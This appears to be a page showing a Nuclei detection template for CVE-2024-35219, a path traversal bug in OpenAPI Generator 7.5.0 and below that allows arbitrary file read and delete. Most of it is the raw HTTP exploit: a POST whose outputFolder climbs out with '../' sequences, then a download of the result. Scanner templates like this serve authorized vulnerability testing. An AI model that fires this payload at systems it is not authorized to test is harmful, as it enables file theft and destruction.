OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete

ID: CVE-2024-35219

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,openapi,intrusive,lfi

Description

OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.

YAML Source

id: CVE-2024-35219

info:
  name: OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.
  reference:
    - https://www.sonarsource.com/blog/the-power-of-taint-analysis-uncovering-critical-code-vulnerability-in-openapi-generator/
    - https://github.com/OpenAPITools/openapi-generator/commit/edbb021aadae47dcfe690313ce5119faf77f800d
    - https://github.com/OpenAPITools/openapi-generator/pull/18652
    - https://github.com/OpenAPITools/openapi-generator/security/advisories/GHSA-g3hr-p86p-593h
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-35219
    cwe-id: CWE-22
    epss-score: 0.00045
    epss-percentile: 0.16725
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2024,openapi,intrusive,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/gen/clients/csharp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "authorizationValue": {
            "keyName": "string",
            "type": "string",
            "value": "string"
          },
         "openAPIUrl": "https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml",
           "options": {"outputFolder":"../../../../../../usr/share/pixmaps/"},
          "spec": {}
        }

    matchers:
      - type: word
        part: body
        words:
          - code
          - link
        condition: and
        internal: true

    extractors:
      - type: json
        name: code
        part: body
        json:
          - '.code'
        internal: true

  - raw:
      - |
        GET /api/gen/download/{{code}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "pixmaps/debian-logo.png"
# digest: 4a0a00473045022100fa91cfdd05bf24a58a7cb162cab5ca060f59135b73430b21c255c51d1de94c2d022027d50d40ec6fb2120475c6fa25aa020142187b052347a3792fa5e7e52248e5f2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-35219.yaml"

View on Github